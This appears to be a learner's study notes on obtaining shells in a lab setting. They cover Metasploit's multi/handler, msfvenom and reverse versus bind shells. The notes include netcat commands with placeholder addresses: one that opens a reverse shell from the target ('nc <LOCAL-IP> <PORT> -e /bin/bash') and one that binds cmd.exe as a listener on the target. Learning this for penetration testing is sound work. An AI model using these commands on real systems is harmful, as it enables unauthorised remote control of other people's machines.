Window and shell privilegde escalation

**Metasploit -- multi/handler:**

The auxiliary/multi/handler module of the Metasploit framework is, like socat and netcat, used to receive reverse shells. Due to being part of the Metasploit framework, multi/handler provides a fully-fledged way to obtain stable shells, with a wide variety of further options to improve the caught shell.

**Msfvenom:**

Like multi/handler, msfvenom is technically part of the Metasploit Framework, however, it is shipped as a standalone tool. Msfvenom is used to generate payloads on the fly. Whilst msfvenom can generate payloads other than reverse and bind shells, these are what we will be focusing on in this room.

<https://web.archive.org/web/20200901140719/http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>

The [SecLists repo](https://github.com/danielmiessler/SecLists" \t "_blank), though primarily used for wordlists, also contains some very useful code for obtaining shells.

**Reverse shells** are when the target is forced to execute code that connects *back* to your computer.

**Bind shells** are when the code executed on the target is used to start a listener attached to a shell directly on the target. T

a reverse shell listener -- this is what receives the connection. On the right is a simulation of sending a reverse shell. In reality, this is more likely to be done through code injection on a remote website or something along those lines. Picture the image on the left as being your own computer, and the image on the right as being the target.

On the attacking machine:

sudo nc -lvnp 443

On the target:

nc <LOCAL-IP> <PORT> -e /bin/bash

*Bind Shell example:*

On the target:

nc -lvnp <port> -e "cmd.exe"

On the attacking machine:

nc MACHINE\_IP <port>